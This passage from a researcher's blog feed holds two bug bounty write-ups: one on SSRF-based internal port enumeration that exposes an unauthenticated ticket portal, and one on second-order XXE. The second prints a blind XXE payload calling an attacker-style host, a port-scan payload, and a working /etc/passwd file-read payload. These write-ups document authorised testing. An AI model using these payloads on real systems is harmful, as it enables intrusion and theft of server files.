<p>A detailed breakdown of a few crucial parameters is shown below:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>This was the URL to which the search request was sent. If you change the cluster using the drop-down, this URL will change.</td>
</tr>
<tr>
<td>sortby</td>
<td>This was the column/criteria on which the result would be sorted.</td>
</tr>
<tr>
<td>sortorder</td>
<td>Ascending or descending depending on the value.</td>
</tr>
<tr>
<td>keyword</td>
<td>The keyword to search in the cluster.</td>
</tr>
<tr>
<td>page</td>
<td>This was used for pagination purposes.</td>
</tr>
<tr>
<td>storeid</td>
<td>The store identifier in which we had to search</td>
</tr>
</tbody>
</table>
<p>From the parameters, I assumed that a sequence similar to the following might be used by the web application:</p>
<p><img src="https://kuldeep.io/SequenceDiagram.png" alt="Sequence Diagram"></p>
<p>Here, the <code>url</code> parameter directly clicked as an SSRF in my head but I kept it in side and started hunting for SQL injections.</p>
<p>I tested all the parameters and all the cluster URLs to see if any of them is vulnerable to an SQL injection or not. But all of them were secure and SQL injection was not possible in any of the clusters.</p>
<p>Now, back to the SSRF, I changed the <code>url</code> parameter to my TUPoC URL and I saw that the server now responded with a <code>JSONDecodeError</code> and a detailed stack trace.</p>
<p><img src="https://kuldeep.io/JSONDecodeException.png" alt="JSONDecodeError"></p>
<p>You may be wondering, &ldquo;Why does this exception occur?&rdquo; This is because the web application is trying to JSON decode the data returned from our TUPoC URL but our TUPoC URL is not sending valid JSON data. It is sending normal HTML.</p>
<p>By taking advantage of this verbose error, we can enumerate open HTTP services on the vulnerable server.</p>
<p>The thought process behind this is that, if a web service is running on the server, it will return some HTML data. The web application will try to JSON decode HTML data and hence an exception will be thrown. This way, we can enumerate open HTTP ports.</p>
<p>I quickly sent the request to Burp Suite Intruder and changed the <code>url</code> parameter to <code>http://127.0.0.1:§1§</code> and ran intruder from 1 to 5000 to fuzz the top 5000 ports.</p>
<p>Once the attack was complete, I found that port 5000 was open and running the vulnerable service.</p>
<p><img src="https://kuldeep.io/5000-port-open.png" alt="5000 Port Open"></p>
<p>All the other ports returned a <code>ConnectionError</code> exception.</p>
<h3 id="exposed-xxxx-portal-revealing-tickets">Exposed XXXX Portal Revealing Tickets</h3>
<p>Once again, the web root of this host showed some kind of dashboard that I found interesting.</p>
<p><img src="https://kuldeep.io/portal-root.png" alt="Portal Web Root"></p>
<p>It was showing different functionalities like incidents, tickets, changes, etc. The API was restricting access to some of the functionalities. However, only some of the functionalities were protected and most of the functionalities were accessible without any sort of authentication.</p>
<p>Here, I was able to view all the open tickets.</p>
<p><img src="https://kuldeep.io/portal-tickets.png" alt="Portal Tickets"></p>
<h3 id="takeaways">Takeaways</h3>
<ul>
<li>Collaborate with like-minded people.</li>
<li>Do not give up if your way of exploiting does not work. Take a break and try again.</li>
<li>Hacking is not as easy as I made it seem in this blog post. Sometimes I hack for more than 12 hours without finding a vulnerability or even something to play with. And sometimes I get lucky and find multiple vulnerabilities with something as simple as aquatone.</li>
<li>Take vacations/holidays.</li>
</ul>
<p>Thanks for reading. :)</p>
<p>If you have any questions, you can reach me out on Twitter at <a href="https://twitter.com/kuldeepdotexe">@kuldeepdotexe</a>.</p>
<p>Happy hacking!</p>
</content>
</item>
<item>
<title>Second Order XXE Exploitation</title>
<link>https://kuldeep.io/posts/second-order-xxe-exploitation/</link>
<pubDate>Wed, 19 Oct 2022 17:59:25 +0530</pubDate>
<guid>https://kuldeep.io/posts/second-order-xxe-exploitation/</guid>
<description>Hello, guys!
This writeup is about my recent discovery on Synack Red Team which was a Second Order XXE that allowed me to read files stored on the web server.
Please note that this article is not about how/why/when of the XXE attacks. This is just a single case of a non-trivial interesting XXE that I found and seems worth sharing. If you want to learn more about XXEs, you may refer to the following links:</description>
<content><p>Hello, guys!</p>
<p>This writeup is about my recent discovery on Synack Red Team which was a Second Order XXE that allowed me to read files stored on the web server.</p>
<p>Please note that this article is not about how/why/when of the XXE attacks. This is just a single case of a non-trivial interesting XXE that I found and seems worth sharing. If you want to learn more about XXEs, you may refer to the following links:</p>
<ul>
<li><a href="https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity">HackTricks XXE</a></li>
<li><a href="https://portswigger.net/web-security/xxe">Portswigger XXE</a></li>
</ul>
<p>Now to the blog.</p>
<p>A fresh target was onboarded in the morning and I hopped onto it as soon as I received the email. In the scope, there were two web applications listed along with two postman collections. I prefer postman collections over web apps so I loaded the collections with their environments into my postman.</p>
<p>After sending the very first request, I noticed that the application was using SOAP API to transfer the data. I tried to perform XXE in the SOAP body but the application threw an error saying &ldquo;<strong>DOCTYPE is not allowed</strong>&rdquo;.</p>
<p><img src="https://kuldeep.io/DOCTYPENotAllowed.png" alt="DOCTYPENotAllowed"></p>
<p>Here, we cannot perform XXE as <code>DOCTYPE</code> is explicitly blocked.</p>
<p>Upon checking all the modules one by one, I came across a module named <code>NormalTextRepository</code> in the postman collection which had the following two requests:</p>
<ul>
<li><code>saveNormalText</code></li>
<li><code>GetNamedNormalText</code></li>
</ul>
<p><img src="https://kuldeep.io/NormalTextRepository.png" alt="NormalTextRepository"></p>
<p>After sending the first <code>saveNormalText</code> request and intercepting it in Burp Suite, I found out that it contained some HTML-encoded data that looked like this:</p>
<p><img src="https://kuldeep.io/HTMLEncodedData.png" alt="HTMLEncodedData"></p>
<p>Upon decoding, the data looked like this:</p>
<pre tabindex="0"><code>&lt;?xml version=&#34;1.0&#34;?&gt;
&lt;normal xmlns=&#34;urn:hl7-org:v3&#34; xmlns:XX=&#34;http://REDACTED.com/REDACTED&#34;&gt;&lt;content XX:status=&#34;normal&#34; XX:state=&#34;normal&#34;&gt;Synacktest&lt;/content&gt;&lt;/normal&gt;
</code></pre><p>This quickly caught my attention. This was XML data being passed inside the XML body in a SOAP request (Inception vibes).</p>
<p>I went on to try XXE here as well. For this, I copy pasted a simple Blind XXE payload from <a href="https://portswigger.net/web-security/xxe/blind">PortSwigger</a>:</p>
<pre tabindex="0"><code>&lt;!DOCTYPE foo [ &lt;!ENTITY % xxe SYSTEM &#34;http://f2g9j7hhkax.web-attacker.com/XXETEST&#34;&gt; %xxe; ]&gt;
</code></pre><p>I used Synack&rsquo;s provided web server to test for this. Upon checking its logs, I found out that there indeed was a hit for the <code>/XXETEST</code> endpoint.</p>
<p><img src="https://kuldeep.io/TUPoCHit.png" alt="TUPoCHit"></p>
<p>This still was a blind XXE and I had to turn it into a full XXE in order to receive a full payout. I tried different file read payloads from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection">PayloadsAllTheThings</a> and <a href="https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity">HackTricks</a> but they did not seem to work in my case.</p>
<p>In my case, the XXE was not reflected anywhere in the response. This is why it was comparatively difficult to exploit.</p>
<p>After poking for a while, I gave up with the idea of full XXE and went ahead to check if an internal port scan was possible or not as we were able to send HTTP requests.</p>
<p>I sent the request to Burp Suite&rsquo;s intruder and fuzzed for the ports from 1 to 1000. The payload for that looked like the following:</p>
<pre tabindex="0"><code>&lt;!DOCTYPE foo [ &lt;!ENTITY % xxe SYSTEM &#34;http://127.0.0.1:§1§/XXETEST&#34;&gt; %xxe; ]&gt;
</code></pre><p>However, the result of the intruder was just not making any sense to me. All the ports that I fuzzed were throwing random time delays.</p>
<p><img src="https://kuldeep.io/IntruderPortScan.png" alt="IntruderPortScan"></p>
<p>Lost all hope and was about to give up on this XXE once again. Then a thought struck my head. &ldquo;If this data is being saved in the application, it has to be retriveable in some way as well&rdquo;. I checked the other <code>GetNamedNormalText</code> request in this module and instantly felt stupid. This request retrieved the data that we saved from the first <code>saveNormalText</code> request.</p>
<p>I used the following XXE file read payload and saved the data:</p>
<pre tabindex="0"><code>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;&lt;!DOCTYPE foo [&lt;!ENTITY example SYSTEM &#34;/etc/passwd&#34;&gt; ]&gt;
</code></pre><p>Then sent the second <code>GetNamedNormalText</code> request to retrieve the saved data. And in the response, I could see the contents of the <code>/etc/passwd</code> file!</p>